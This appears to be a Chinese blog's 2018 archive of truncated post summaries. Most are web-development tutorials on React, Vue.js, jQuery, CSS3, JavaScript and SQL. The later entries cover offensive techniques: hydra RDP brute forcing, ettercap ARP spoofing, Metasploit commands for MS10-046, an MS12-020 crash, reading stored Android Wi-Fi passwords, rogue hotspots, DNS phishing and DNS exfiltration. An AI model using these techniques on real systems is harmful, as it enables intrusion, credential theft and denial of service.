01 2018 档案
摘要：let createIterator = items =>{ let i = 0; return { next () { let done = (i >= items.length); let value = !done ? items[i++] : undefined; return { done
阅读全文
摘要：'use strict' import 'semantic-ui/semantic.min.css!'; import React, { Component } from 'react'; import ReactDOM from 'react-dom'; // import { Router, R
阅读全文
摘要：打开CommentBox.js 修改handleCommentSubmit方法 handleCommentSubmit(comment){ // console.log(comment); let comments = this.state.data, newComments = comments.
阅读全文
摘要：儿子将获取到的数据提交给父亲 打开CommentBox.js 我们在CommentForm标签上添加onCommentSubmit={this.handleCommentSubmit} 创建handleCommentSubmit方法 handleCommentSubmit(comment){ con
阅读全文
摘要：在input和textarea标签上使用ref属性 <input type="text" placeholder="姓名" ref="author"/> <textarea placeholder="评论" ref="text"></textarea> 在onSubmit={this.handleS
阅读全文
摘要：事件处理函数的使用 鼠标事件： onClick onContextMenu onDoubleClick onMouseDown onMouseEnter onMouseLeave onMouseMove onMouseOut onMouseOver onMouseUp onDrop onDrag o
阅读全文
摘要：修改main.js CommentBox标签 <CommentBox url="app/comments.json"/>,document.getElementById('app') 在 app 文件夹下 新建 comments,json 文件 [ {"author": "journey" , "d
阅读全文
摘要：打开main.js 添加一些模拟数据 var comments = [ {"author": "journey" , "date" : "3分钟前" , "text" : "今天天气有点冷!"}, {"author": "jim" , "date" : "5分钟前" , "text" : "今天早上
阅读全文
摘要：在comment文件夹下新建Comment.js Comment.js 'use strict' import React from 'react'; class Comment extends React.Component{ render(){ return ( <div className="
阅读全文
摘要：在app下的comment文件夹下面分别新建CommentList.js 和 CommentForm.js CommentList.js 'use strict' import React from 'react'; class CommentList extends React.Component
阅读全文
摘要：在app文件夹下新建一个comment文件夹，并创建CommentBox.js CommentBox.js 'use strict'; import React from 'react'; class CommentBox extends React.Component{ render() { re
阅读全文
摘要：使用命令 jspm install react 进行安装 使用命令 jspm install react-dom 安装 react-dom 使用命令 jspm install semantic-ui 进行 semantic-ui样式的安装(不是必须) 使用 jspm install css 进行插件
阅读全文
摘要：1.在搭建vue脚手架时提示是否启用eslint检测的。 Use ESLint to lint your code? 写 no; 2.如果项目已经生成，我们可以这样。 在项目中代开 bulid 文件夹下的 webpack.base.config.js 文件。将以下代码删掉或注销： { test: /
阅读全文
摘要：一、点击一次按钮 会发送两次请求的问题 第一个请求 Method是OPTIONS 第二个请求 Method是POST 后台过滤器也是检测出访问了两次，但是是偶尔才会重复访问。 这是因为 跨域请求导致 每次请求前都会先发送一个空的请求检查服务器， 可以在后台过滤器加个这个： @Override pub
阅读全文
摘要：前言 浏览器出于安全考虑，限制了JS发起跨站请求，使用XHR对象发起请求必须遵循同源策略（SOP：Same Origin Policy），跨站请求会被浏览器阻止，这对开发者来说是很痛苦的一件事，尤其是要开发前后端分离的应用时。 在现代化的Web开发中，不同网络环境下的资源数据共享越来越普遍，同源策略
阅读全文
摘要：https://gitee.com/journeyIT/JavaStudyProject.git
阅读全文
摘要：select * from emp; select empno,ename,job from emp; select * from emp; select job from emp; select distinct job from emp; select empno,ename,sal*12,sa
阅读全文
摘要：进入sql*plus需要输入用户名、口令和主机标志符 system/manager sys/change_on_intall scott/tiger internal/oracle 以上为初始密码 主机字符串空或者是@+你的服务名,在本地登陆不需要本地服务名。 下面就介绍一下一些常用的sql*plu
阅读全文
摘要：从多个表中获取数据 select last_name, department_name from employees, departments 演示笛卡尔集的错误情况： select count(employee_id) from employees; 假设输出107行 select count(d
阅读全文
摘要：Vue.js 自定义指令 除了默认设置的核心指令( v-model 和 v-show ), Vue 也允许注册自定义指令。 下面我们注册一个全局指令 v-focus, 该指令的功能是在页面加载时，元素获得焦点： <div id="app"> <p>页面载入时，input 元素自动获取焦点：</p>
阅读全文
摘要：Vue.js 路由 Vue.js 路由允许我们通过不同的 URL 访问不同的内容。 通过 Vue.js 可以实现多视图的单页Web应用（single page web application，SPA）。 Vue.js 路由需要载入 vue-router 库 中文文档地址：vue-router文档。
阅读全文
摘要：Vue.js 表单 你可以用 v-model 指令在表单控件元素上创建双向数据绑定。 v-model 会根据控件类型自动选取正确的方法来更新元素。 <body> <div id="app"> <p>input 元素：</p> <input v-model="message" placeholder=
阅读全文
摘要：Vue.js 组件 组件（Component）是 Vue.js 最强大的功能之一。 组件可以扩展 HTML 元素，封装可重用的代码。 组件系统让我们可以用独立可复用的小组件来构建大型应用，几乎任意类型的应用的界面都可以抽象为一个组件树： 注册一个全局组件语法格式如下： Vue.component(t
阅读全文
摘要：Vue.js 样式绑定 Vue.js class class 与 style 是 HTML 元素的属性，用于设置元素的样式，我们可以用 v-bind 来设置样式属性。 Vue.js v-bind 在处理 class 和 style 时， 专门增强了它。表达式的结果类型除了字符串之外，还可以是对象或数
阅读全文
摘要：Vue.js 事件处理器 事件监听可以使用 v-on 指令： <div id="app"> <button v-on:click="counter += 1">增加 1</button> <p>这个按钮被点击了 {{ counter }} 次。</p> </div> <script> new Vue
阅读全文
摘要：Vue.js 计算属性 计算属性关键词: computed。 计算属性在处理一些复杂逻辑时是很有用的。 可以看下以下反转字符串的例子： <div id="app"> {{ message.split('').reverse().join('') }} </div> <script> new Vue(
阅读全文
摘要：循环语句 循环使用 v-for 指令。 v-for 指令需要以 site in sites 形式的特殊语法， sites 是源数据数组并且 site 是数组元素迭代的别名。 v-for 可以绑定数据到数组来渲染一个列表： <div id="app"> <ol> <li v-for="site in
阅读全文
摘要：Vue.js 模板语法 Vue.js 使用了基于 HTML 的模版语法，允许开发者声明式地将 DOM 绑定至底层 Vue 实例的数据。 Vue.js 的核心是一个允许你采用简洁的模板语法来声明式的将数据渲染进 DOM 的系统。 结合响应系统，在应用状态改变时， Vue 能够智能地计算出重新渲染组件的
阅读全文
摘要：Vue.js 条件语句 条件判断 v-if <div id="app"> <p v-if="seen">seen为true时显示，false隐藏</p> <template v-if="ok"> ok为true时显示，false隐藏 </template> </div> <script> new V
阅读全文
摘要：Vue.js 目录结构 目录解析 build:最终发布的代码存放位置。 config:配置目录，包括端口号等。我们初学可以使用默认的。 node_modules:npm 加载的项目依赖模块 src:这里是我们要开发的目录，基本上要做的事情都在这个目录里。里面包含了几个目录及文件： assets 文件
阅读全文
摘要：Vue.js 安装 1、独立版本 我们可以在 Vue.js 的官网上直接下载 vue.min.js 并用 <script> 标签引入。 http://vuejs.org/js/vue.min.js 2、使用 CDN 方法 以下推荐国外比较稳定的两个 CDN，国内还没发现哪一家比较好，目前还是建议下载
阅读全文
摘要：一、实现Ajax应用 1. 使用load()方法异步请求数据 使用load()方法通过Ajax请求加载服务器中的数据，并把返回的数据放置到指定的元素中，它的调用格式为： load(url,[data],[callback]) 参数url为加载服务器地址，可选项data参数为请求时发送的数据，call
阅读全文
摘要：一、动画显示与隐藏 1. jQuery中隐藏元素的hide方法 让页面上的元素不可见，一般可以通过设置css的display为none属性。但是通过css直接修改是静态的布局，如果在代码执行的时候，一般是通过js控制元素的style属性，这里jQuery提供了一个快捷的方法.hide()来达到这个效
阅读全文
摘要：一、鼠标事件 1. jQuery鼠标事件之click与dbclick事件 用交互操作中，最简单直接的操作就是点击操作。jQuery提供了两个方法一个是click方法用于监听用户单击操作，另一个方法是dbclick方法用于监听用户双击操作。这两个方法的用法是类似的，下面以click()事件为例 使用上
阅读全文
摘要：一、DOM节点的创建 1. DOM创建节点及节点属性 通过JavaScript可以很方便的获取DOM节点，从而进行一系列的DOM操作。但实际上一般开发者都习惯性的先定义好HTML结构，但这样就非常不灵活了。 试想下这样的情况：如果我们通过AJAX获取到数据之后然后才能确定结构的话，这种情况就需要动态
阅读全文
摘要：一、初识jQuery 1.环境搭建 进入官方网站获取最新的版本 http://jquery.com/download/ ，这里需要注意 jQuery 分 2 个系列版本1.x 与 2.x，主要的区别在于 2.x 不再兼容 IE6、7、8浏览器，这样做的目的是为了兼容移动端开发。由于减少了一些代码，使
阅读全文
摘要：问题 使用Spring整合Hibernate及Struts2，实现资费查询功能。 方案 SSH整合步骤 步骤 实现此案例需要按照如下步骤进行。 步骤一：导包 创建WEB项目NETCTOSS-SSH，并导入数据库驱动包、Struts2开发包、Hibernate开发包以及Spring开发包，完成后项目中
阅读全文
摘要：参数配置(属性+事件) chart.events.addSeries：添加数列到图表中。 chart.events.click：整个图表的绘图区上所发生的点击事件。 chart.events.load：图表加载事件。 chart.events.redraw：图表重画事件，当点击图注显示和隐藏绘图时可
阅读全文
摘要：Struts2的相关配置文件 * default.properties -- 在org/apache/struts2/目录下，代表的是配置的是Struts2的常量的值 * struts-default.xml -- 在Struts2的核心包下，代表的是Struts2核心功能的配置（Bean、拦截器、
阅读全文
摘要：复习： LESS是一门动态样式语言，.less文件最终要转换成.css文件LESS语言为CSS扩展了变量、混合、函数、判断等方面的特性，简化CSS样式文件的编写。 LESS语言的应用方法有两种： (1)在客户端直接使用.less文件 不推荐使用 <link rel="stylesheet/less"
阅读全文
摘要：自由缩放属性resize 为了增强用户体验，CSS3增加了很多新的属性，其中resize就是一个重要的属性，它允许用户通过拖动的方式来修改元素的尺寸来改变元素的大小。到目前为止，可以使用overflow属性的任何容器元素。 在此之前，Web设计师为了要实现这样具有拖动效果的UI，使用大量的脚本代码才
阅读全文
摘要：Media Queries——媒体类型 随着科学技术不断的向前发展，网页的浏览终端越来越多样化，用户可以通过：宽屏电视、台式电脑、笔记本电脑、平板电脑和智能手机来访问你的网站。尽管你无法保证一个网站在不同屏幕尺寸和不同设备上看起来完全一模一样，但至少要让你的Web页面能适配用户的终端，让他更好的呈现
阅读全文
摘要：多列布局——Columns 为了能在Web页面中方便实现类似报纸、杂志那种多列排版的布局，W3C特意给CSS3增加了一个多列布局模块（CSS Multi Column Layout Module）。它主要应用在文本的多列布局方面，这种布局在报纸和杂志上都使用了几十年了，但要在Web页面上实现这样的效
阅读全文
摘要：变形--旋转 rotate() 旋转rotate()函数通过指定的角度参数使元素相对原点进行旋转。它主要在二维空间内进行操作，设置一个角度值，用来指定旋转的幅度。如果这个值为正值，元素相对原点中心顺时针旋转；如果这个值为负值，元素相对原点中心逆时针旋转。如下图所示： HTML代码： <div cla
阅读全文
摘要：属性选择器 在HTML中，通过各种各样的属性可以给元素增加很多附加的信息。例如，通过id属性可以将不同div元素进行区分。 在CSS2中引入了一些属性选择器，而CSS3在CSS2的基础上对属性选择器进行了扩展，新增了3个属性选择器，使得属性选择器有了通配符的概念，这三个属性选择器与CSS2的属性选择
阅读全文
摘要：background-origin 设置元素背景图片的原始起始位置。 语法： background-origin ： border-box | padding-box | content-box; 参数分别表示背景图片是从边框，还是内边距（默认值），或者是内容区域开始显示。 效果如下： 需要注意的是
阅读全文
摘要：text-overflow 与 word-wrap text-overflow用来设置是否使用一个省略标记（...）标示对象内文本的溢出。 语法： 但是text-overflow只是用来说明文字溢出时用什么方式显示，要实现溢出时产生省略号的效果，还须定义强制文本在一行内显示（white-space:
阅读全文
摘要：颜色之RGBA RGB是一种色彩标准，是由红(R)、绿(G)、蓝(B)的变化以及相互叠加来得到各式各样的颜色。RGBA是在RGB的基础上增加了控制alpha透明度的参数。 语法： color：rgba(R,G,B,A) 以上R、G、B三个参数，正整数值的取值范围为：0 - 255。百分数值的取值范围
阅读全文
摘要：圆角效果 border-radius border-radius是向元素添加圆角边框。 使用方法： border-radius:10px; /* 所有角都使用半径为10px的圆角 */ border-radius: 5px 4px 3px 2px; /* 四个半径值分别是左上角、右上角、右下角和左下
阅读全文
摘要：CSS3是什么 CSS3是CSS2的升级版本，3只是版本号，它在CSS2.1的基础上增加了很多强大的新功能。 目前主流浏览器chrome、safari、firefox、opera、甚至360都已经支持了CSS3大部分功能了，IE10以后也开始全面支持CSS3了。 在编写CSS3样式时，不同的浏览器可
阅读全文
摘要：####一、引入css js <link rel="stylesheet" href="js/ztree/css/ztree.css" type="text/css"> <link rel="stylesheet" href="js/ztree/css/zTreeStyle/zTreeStyle.c
阅读全文
摘要：####创建Springboot项目 点击https://start.spring.io/进行打包创建 ####添加RabbitMQ相关依赖 <!-- rabbitmq --> <dependency> <groupId>org.springframework.boot</groupId> <art
阅读全文
摘要：一、RabbitMQ Rabbitmq 是用 erlang 语言写的，所以我们需要安装 Erlang，安装 erlang 又需要安装 python 与 simplejson,所以我们从python开始： 1、安装 python： [php] view plaincopy #wget http://w
阅读全文
摘要：##RabbitMQ简介 RabbitMQ是一个在AMQP基础上完整的，可复用的企业消息系统 MQ全称为Message Queue, 消息队列（MQ）是一种应用程序对应用程序的通信方法。应用程序通过读写出入队列的消息（针对应用程序的数据）来通信，而无需专用连接来链接它们。消息传递指的是程序之间通过在
阅读全文
摘要：Thymeleaf作为spring官方推荐的模板引擎，在spring体系中使用异常方便。这里以gradle构建的项目为例来说明。 首先，你要先修改build.gradle引入Springboot对Thymeleaf提供的依赖包。在dependencies中增加如下配置。 compile('org.s
阅读全文
摘要：在git windows工具中使用git bash打开项目，使用cd命令进入已有的项目根目录下。 一般的流程是： 提交完成，查看repository 注意在提交的过程中是需要向远程仓库更新文件时需要： 报错输入： 输入：1、先输入 git remote rm origin 2、再输入 git rem
阅读全文
摘要：Ctrl+1 快速修复(最经典的快捷键,就不用多说了) Ctrl+D: 删除当前行 Ctrl+Alt+↓ 复制当前行到下一行(复制增加) Ctrl+Alt+↑ 复制当前行到上一行(复制增加) Alt+↓ 当前行和下面一行交互位置(特别实用,可以省去先剪切,再粘贴了) Alt+↑ 当前行和上面一行交互
阅读全文
摘要：Kettle 的几个子程序的功能和启动方式 Spoon.bat ：图形界面方式启动作业和转换设计器。 Pan.bat ：命令行方式执行转换。 Kitchen.bat ：命令行方式执行作业。 Carte.bat ：启动web服务，用于 Kettle 的远程运行或 集群运行。 Encr.bat ：密码加
阅读全文
摘要：元数据的通用概念： “描述性数据”或“数据的数据” ETL的元数据： 描述ETL要执行的任务 在Kettle里元数据的存储方式： 资源库 资源库包括文件资源库、数据库资源库 Kettle 4.0 以后资源库类型可以插件扩展 XML文件 。ktr转换文件的XML的根节点必须是 .kjb作业XML的根节
阅读全文
摘要：Kettl：Kettle is an acronym for "Kettle E.T.T.L.Emvironment". This means it has been designed to help you with your ETTL needs: the Extraction, Transfo
阅读全文
摘要：成本： " 软件 " 成本包括多方面,主要包括软件产品, 售前培训, 售后咨询, " 技术 " 支持等。 " 开源 " 产品本身是免费的，成本主要是培训和咨询，所以成本会一直维持在一个较低水平。 商业产品本身价格很高，但是一般会提供几次免费的咨询或支持，所以采用商用软件最初成本很高，但是逐渐下降。
阅读全文
摘要：1. Kettle简介 Kettle是一个开源的ETL工具，纯java编写，可以在Window、Linux、Unix上运行，绿色无需安装，数据抽取高效稳定，基本的数据抽取、转换、加载，他都可以。 可以把各种数据放到一个壶里，然后以一种指定的格式流出，比如一个mysql数据库的数据同步到一个Postg
阅读全文
摘要：Spring Boot 其默认是集成web容器的，启动方式由像普通Java程序一样，main函数入口启动。其内置Tomcat容器或Jetty容器，具体由配置来决定（默认Tomcat）。当然你也可以将项目打包成war包，放到独立的web容器中（Tomcat、weblogic等等），当然在此之前你要对程
阅读全文
摘要：###一、新建一个Maven工程 使用Spring Boot 新建Maven 工程不在需要建立Maven web工程，只要一般的Maven工程就好了。 ###二、Maven包的导入 清单如下： <!-- Inherit defaults from Spring Boot --> <parent> <
阅读全文
摘要：hydra是一款全能的暴力破解工具，功能强大，几乎支持所有的协议，是著名黑客组织thc开发的。 在Kali Linux下已经是默认安装的，于是测试爆破一下自己的一台VM虚拟机服务器。hydra还支持GUI图形界面(xhydra)，不过习惯还是命令好用。 (爆破3389端口终端登录的帐号和密码 协议：
阅读全文
摘要：ettercap是什么？ 我们在对WEB安全检测的时候都会用到Cain和netfuke这两款工具，功能相信用过的朋友多多少少都知道，但这两款工具是在windows下运行的。 而ettercap是在linux下运行的 。其实功能都是差不多的，我称呼它为嗅探工具，ARP欺骗，DNS，劫持，中间人攻击等等
阅读全文
摘要：MS10-046远程执行漏洞（Windows快捷方式LNK文件自动执行代码漏洞攻击） 命令: 1. msfconsole //启动MSF Metasploit 2. search ms10-046 //搜索漏洞 3. use windows/browser/ms10_046_shortcut_ico
阅读全文
摘要：MS12-020远程桌面协议RDP拒绝访问漏洞 条件：受害者必须开放RDP协议 开放了3389端口 或者端口改了，知道对方RDP开放的对应端口。 过程：MSF利用 MSF显示为seems down说明目标已经被攻击。如图已经蓝屏。
阅读全文
摘要：MSF是Metasploit的简称，Metasploit是一款开源的安全漏洞检测工具，非常强大，分别有Windows版和Linux版，工具里集成了许多微软公布的漏洞(0day)。 我这里做测试的系统是Backbox linux ，这是一款网络渗透，信息安全评估系统。里边安装了许许多多的工具。其中MS
阅读全文
摘要：对于用户连接过的wifi，android系统把相关信息明文保存在 /data/misc/wifi/wpa_supplicant.conf中，root之后可以查看，或者利用手机的备份功能进行备份，这样不用root也可以查看。
阅读全文
摘要：规则01：尽量减少HTTP请求 前端优化的黄金准则指导着前端页面的优化策略：只有10%-20%的最终用户响应时间花在接受请求的HTML文档上，剩下的80%-90%时间花在为HTML文档所引用的所有组件（图片、脚本、样式表等）进行的HTTP请求上。因此，改善响应时间的最简单途径就是减少组件的数量，并由
阅读全文
摘要：* Ajax的增强操作 * jQuery对Ajax的支持 * 第一组：最基本的用法，最复杂 * .get( url, [data], [callback]
阅读全文
摘要：回顾第一天的内容： * Ajax的定义（不严格） * 客户端与服务器端之间进行交互，而无需刷新当前页面。 * 异步与同步： * 同步：客户端向服务器端发送请求，到服务器端进行响应，这个过程中，客户端不能做任何事情。 * 异步：客户端向服务器端发送请求，到服务器端进行响应，这个过程中，客户端可以做任何
阅读全文
摘要：Ajax: * Ajax概述: * Ajax的原理 * 什么是Ajax * 异步和同步 * 同步: * 客户端页面向服务器端发送请求，直到服务器端将响应发送回来，这个过程中，页面是不能做任何事情。 * 异步: * 客户端页面向服务器端发送请求，直到服务器端将响应发送回来，这个过程中，页面可以去做任何
阅读全文
摘要：二进制 binary，varbinary，blob 声音、图像等二进制数据 声音和图像的地址保存在表里面 不建议直接将它们保存在表里与字符集无关的如果没有指定是image类型 会当成普通文本显示 会出现乱码凡事文本会有字符集来处理这个文本 非二进制char，varchar，text 字符集utf8
阅读全文
摘要：show character set; 显示出字符集校对 show variables like "%character%"; show variables like "%collation%"; 显示环境变量 + + + | Variable_name | Value | + + + | char
阅读全文
摘要：alter table stu add birday date; 为stu数据库追加birday字段 类型为date类型 update stu set birday="1993/2/24"; 将所有数据的birday字段设置为1993/2/24 update stu set birday="1993
阅读全文
摘要：net start mysqld 启动mysql服务 mysql -hIP -uroot -Pport -ppassword 连接数据库 mysql --user root --password 连接数据库 mysql --host localhost --user root --password
阅读全文
摘要：基本方法扩充 get()：下标和length属性 outerWidth()：针对隐藏元素和参数true text()：合体的特例 remove()：detach() (document).ready() get()：就是把JQ转成原生的js $('#div1').innerHTML; //
阅读全文
摘要：选择网页元素 模拟CSS选择元素 ('div') //通过标签获取元素 $('.box') //通过class名获取元素 独有表达式选择 :first 、:last、:eq()、:even、:odd <ul> <li></li> <li title="h
阅读全文
摘要：js的API不算太多，不熟悉的分别百度之。讲究的是全局观，没事时候就过过，熟记于心。1.全局对象值属性:NaNInfinityundefined函数属性:evalparseIntparseFloatisNaNisFinite处理URI的函数属性:decodeURIdecodeURIComponent
阅读全文
摘要：<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>列表中的导航菜单应用</title> <style type="text
阅读全文
摘要：注释1：上图整个大背景是这个网页的全部尺寸，中间的小框才是浏览器中的可见尺寸。这幅图就是针对为文档（document）的各个height、width、top、left所做的说明。 注释2：第二幅图主要是针对网页中一个div的各个属性值所做的说明。“DIV element client area”是这
阅读全文
摘要：Cookie与存储 学习要点： 1.cookie 2.cookie局限性 3.其他存储 随着Web越来越复杂，开发者急切的需要能够本地化存储的脚本功能，这个时候，第一个出现的方案：cookie诞生了。cookie的意图是：在本地的客户端的磁盘上以很小的文件形式保存数据。 一、Cookie cooki
阅读全文
摘要：错误处理与调试 学习要点： 浏览器错误报告 错误处理 错误事件 错误处理策略 调试技术 调试工具 JavaScript在错误处理调试上一直就是软肋，如果脚本出错，给出的提示经常也让人摸不着头脑。ECMAScript第3版为了解决这个问题引入了try...catch和throw语句以及一些错误类型，让
阅读全文
摘要：//W3C、IE事件切换器兼容函数 function addEvent(obj , type , fn){ //添加事件兼容 if(obj.addEventListener){ obj.addEventListener(type,fn); }else if(obj.attachEvent){ obj
阅读全文
摘要：function addEvent(obj , type , fn){ //添加事件兼容 if(obj.addEventListener){ obj.addEventListener(type,fn); }else if(obj.attachEvent){ obj.attachEvent('on'
阅读全文
摘要：window.onload =function(){ alert('journey'); } if(typeof window.onload == 'function'){ var saved = null; saved = window.onload; } //saved就是window.onlo
阅读全文
摘要：window.onload=function(){ document.onkeypress=function(event){ alert(getCharCode(event)); } function getCharCode(event){ var e = event || window.event
阅读全文
摘要：window.onload = function() { function hasClass(element, className) { return !! element.className.match(new RegExp('(\\s|^)' + clssName + '(\\s|$)'));
阅读全文
摘要：处理表单 学习要点： 1.表单介绍 2.文本框脚本 3.选择框脚本 为了分担服务器处理表单的压力，JavaScript提供了一些解决方案，从而大大打破了处理依赖服务器的局面。 一、表单介绍 在HTML中，表单是由<form>元素来表示的，而在JavaScript中，表单对应的则是HTMLFormEl
阅读全文
摘要：事件绑定及深入 学习要点： 1.传统事件绑定的问题 2.W3C事件处理函数 3.IE事件处理函数 4.事件对象的其他补充 事件绑定分为两种：一种是传统事件绑定（内联模型，脚本模型），一种是现代事件绑定（DOM2级模型）。现代事 件绑定在传统绑定上提供了更强大更方便的功能。 一、传统事件绑定问题 传统
阅读全文
摘要：事件对象 学习要点： 1.事件对象 2.鼠标事件 3.键盘事件 4.W3C与IE JavaScript事件的一个重要方面时它们拥有一些相对一致的特点，可以给你的开发提供更强大的功能，最方便和强大的 就是事件对象，它们可以帮你处理鼠标事件和键盘敲击方面的情况，此外还可以修改一般事件的捕获/冒泡流的函数
阅读全文
摘要：事件入门 学习要点： 1.事件介绍 2.内联模式 3.脚本模式 4.事件处理函数 Javascript事件是由访问Web页面的用户引起的一系列操作，例如：用户点击。当用户执行某些操作的时候，再去执行 一系列代码。 一、事件介绍 事件一般是用于浏览器和用户操作进行交互。最早是IE和Netscap Na
阅读全文
摘要：DOM元素尺寸和位置 学习要点： 1.获取元素CSS大小 2.获取元素实际大小 3.获取元素周边大小 本章，我们将主要讨论一下页面中的某一个元素它的各种大小和各种位置的计算方式， 以便更好的理解。 一、获取元素的CSS大小 1.通过style内联获取元素的大小 var box = document.
阅读全文
摘要：动态加载脚本和样式 学习要点： 1.元素位置 2.动态脚本 3.动态样式 本章主要讲解上一章剩余的获取位置的DOM方法，动态加载脚本和样式。 一、元素位置 上一章已经通过几组属性可以获取所需的位置，那么这几课补充一个DOM的方法：getBoundingClientRect()。 这个方法返回一个矩形
阅读全文
摘要：DOM操作表格及样式 学习要点： 1.操作表格 2.操作样式 DOM在操作生成HTML上，还是比较简明的。不过，由于浏览器总是存在兼容和陷阱，导致最终的操作就不是那么 简单方便了。本章主要了解一下DOM操作表格和样式的一些知识。 一、操作表格 <table>标签是HTML中结构最为复杂的一个，我们可
阅读全文
摘要：DOM进阶 学习要点： 1.DOM类型 2.DOM扩展 3.DOM操作内容 DOM自身存在很多类型，在DOM基础课程中大部分都有所接触，比如Element类型，表示的是元素节点，再比如 Text类型：表示的是文本节点。DOM也提供了一些扩展功能。 一、DOM类型 DOM基础课程中，我们了解了DOM的
阅读全文
摘要：DOM 学习要点： 1.DOM介绍 2.查找元素 3.DOM节点 4.节点操作 DOM（Document Object Model）即文档对象模型，针对HTML和XML文档的API（应用程序接口）。DOM 描绘了一个层次化的节点树，运行开发人员添加、移除和修改页面的某一部分。DOM脱胎于Netsca
阅读全文
摘要：BOM 学习要点： 1.window对象 2.location对象 3.history对象 BOM也叫浏览器对象模型，它提供了很多对象，用于访问浏览器的功能。BOM缺少规范，每个浏览器提供商有按 照自己想法扩展它，那么浏览器共有对象就成了事实的标准，所以，BOM本身是没有标准的或者还没有哪个组织 去
阅读全文
摘要：浏览器检测 学习要点： 1.navigator对象 2.客户端检测 由于每个浏览器都具有自己独到的扩展，所以在开发阶段来判断浏览器是一个非常重要的步骤。虽然浏览器开发商 在公共接口方面投入了很多精力，努力的去支持最常用的公共功能；但在现实中，浏览器之间的差异，以及不同浏 览器的”怪癖“却是非常多的，
阅读全文
摘要：匿名函数和闭包 学习要点： 1.匿名函数 2.闭包 匿名函数就是没有名字的函数，闭包是可以访问一个函数作用域里变量的函数。声明：本节内容需要有面向对象和 少量设计模式基础。 一、匿名函数 //普通函数 function box(){ //函数名是box return 'Lee'; } //匿名函数
阅读全文
摘要：面向对象与原型 学习要点： 1.学习条件 2.创建对象 3.原型 4.继承 ECMAScript有两种开发模式：1.函数式（过程化） 2.面向对象（OOP）。面向对象的语言有一个标志，那就是 类的概念，而通过类可以创建任意多个具有相同属性和方法的对象。但是ECMASxript没有类的概念，因此它的
阅读全文
摘要：内置对象 学习要点： 1.Global对象 2.Math对象 ECMAScript-262对内置对象的定义是：由ECMAScript实现提供的、不依赖宿主环境的对象。这些对象在ECMAScript 程序执行之前就已经存在了。意思就是说，开发人员不必显示的示例化内置对象，因为它们已经实例化了。ECMA
阅读全文
摘要：基本包装类型 学习要点： 1.基本包装类型概述 2.Boolean类型 3.Number类型 4.String类型 为了便于操作基本类型值，ECMAScript提供了3中特殊的引用类型：Boolean、Number和String，这些类型与其 它引用类型相似，但同时也具有与各自基本类型相应的特殊行为
阅读全文
摘要：变量、作用域及内存 学习要点： 1.变量及作用域 2.内存问题 JavaScript的变量与其他语言的变量有很大的区别。Javascript变量时松散型的（不强制类型）本质，决定了它只是 在特定时间用于保存特定值的一个名字而已。由于不存在定义某个变量必须要保存何种数据类型值的规则，变量的 值及其数据
阅读全文
摘要：Function类型 学习要点： 1.函数的声明方式 2.作为值的函数 3.函数的内部属性 4.函数属性和方法 在ECMAScript中，Function（函数）类型实际上是对象，每个函数都是Function类型的实例，而且都与其他引用 类型一样具有属性和方法。由于函数时对象，因此函数名实际上也是一
阅读全文
摘要：正则表达式 学习要点： 1.什么事正则表达式 2.创建正则表达式 3.获取控制 4.常用的正则 假设用户需要在HTML表单中填写姓名、地址、出生日期等。那么在将表单提交到服务器进一步处理前，Javascript 程序会检查表单以确认用户输入了信息并且这些信息时符合要求的。 一、什么是正则表达式 正则
阅读全文
摘要：时间和日期 学习要点： 1.Date类型 2.通用的方法 3.格式化方法 4.组件方法 ECMAScript提供了Date类型来处理事件和日期。Date类型内置一系列获取和设置日期实践心得方法。 一、Date类型 ECMAScript中的Date类型时早起JAVA中的java.util.Date类基
阅读全文
摘要：函数 学习要点： 1.函数声明 2.return返回值 3.arguments对象 函数是定义一次但却可以调用或执行任意多次的一段JS代码。函数有时会有参数，即函数被调用时指定了值的局 部变量。函数常常使用这些参数来计算一个返回值，这个值也成为函数调用表达式的值。 一、函数声明 函数对任何语言来说都
阅读全文
摘要：对象和数组 学习要点： 1.Object类型 2.Array类型 3.对象中的方法 什么是对象，其实就是一种类型，即引用类型。而对象的值就是引用类型的实例。在ECMAScript中引用类型是一 种数据结构，用于将数据和功能组织在一起。它也常被称作为类，但ECMAScript中却没有这种东西。虽然 E
阅读全文
摘要：流程控制语句 学习要点： 1.语句的定义 2.if语句 3.switch语句 4.do...while语句 5.while语句 6.for语句 7.for...in语句 8.break和continue语句 9.whit语句 ECMAScript-262规定了一组流程控制语句。语句定义了ECMASc
阅读全文
摘要：运算符 学习要点： 1.什么是表达式 2.一元运算符 3.算术运算符 4.关系运算符 5.逻辑运算符 6.*位运算符 7.赋值运算符 8.其他运算符 9.运算符优先级 ECMAScript-262描述了一组用于操作数据值的运算符，包括一元运算符、布尔运算符、算术 运算符、关系运算符、三元运算符、位运
阅读全文
摘要：数据类型 学习要点： 1.typeof操作符 2.Undefined类型 3.Null类型 4.Boolean类型 5.Number类型 6.String类型 7.Object类型 ECMAScript中有5种简单的数据类型：Undefined、Null、Boolean、Number和String。
阅读全文
摘要：语法、关键保留字及变量 标识符 1.区分大小写：text和Text是两种不同的标识符。 2.标识符组成开头：a（字母）、下划线_、或一个美元符号$ 3.其他字符可以是字母、下划线、美元符号或数字 4.不能把关键字、保留字、true、false、和null作为标识符 例如：myName、book123
阅读全文
摘要：1、无线网卡 2、KaliLinux操作系统，这里就不用说了，必备的 3、isc-dhcp-server服务器。安装好KaliLinux后只需要apt-get update 然后apt-get install isc-dhcp-server即可 4、Aircrack-ng套件 #用来发送数据 5、s
阅读全文
摘要：建立热点 工具：isc-dhcp-server ；Aircrack-ng套件；iptables 建立过程： 首先写dhcp配置文件/etc/dhcp/dhcpd.conf 写入如下内容： 这里以10.0.0.1作为网关和dns服务器地址。 然后我们处理无线网卡 上述命令可以防止出现：Error: G
阅读全文
摘要：官网：https://www.wireshark.org/download.html
阅读全文
摘要：Windows 1.判断什么端口能出来 有时候有防火墙,你也不知道哪个端口能出来,你只有SHELL,咋判断什么端口能出来呢?如果你是在WIN VISTA以下版本,那么用下面的命令可以啦 用TELNET不停的连接你的1-65535端口,你本地开个TCPDUMP就行了,如果连通了,就OK了.如果TCP封
阅读全文
摘要：攻击者进行网络钓鱼的方式常有以下几种: 1. 通过修改受害者hosts文件(C:\WINDOWS\system32\drivers\etc\hosts)来实现; 2. 通过修改受害者dns来实现; 3. 已经进入路由器，直接修改路由器的DNS。 罗列的并不全，之后遇到的话再补充，上述三种方式很常见。
阅读全文
摘要：server.py下载地址 https://github.com/breenmachine/dnsftp client.sh脚本
阅读全文
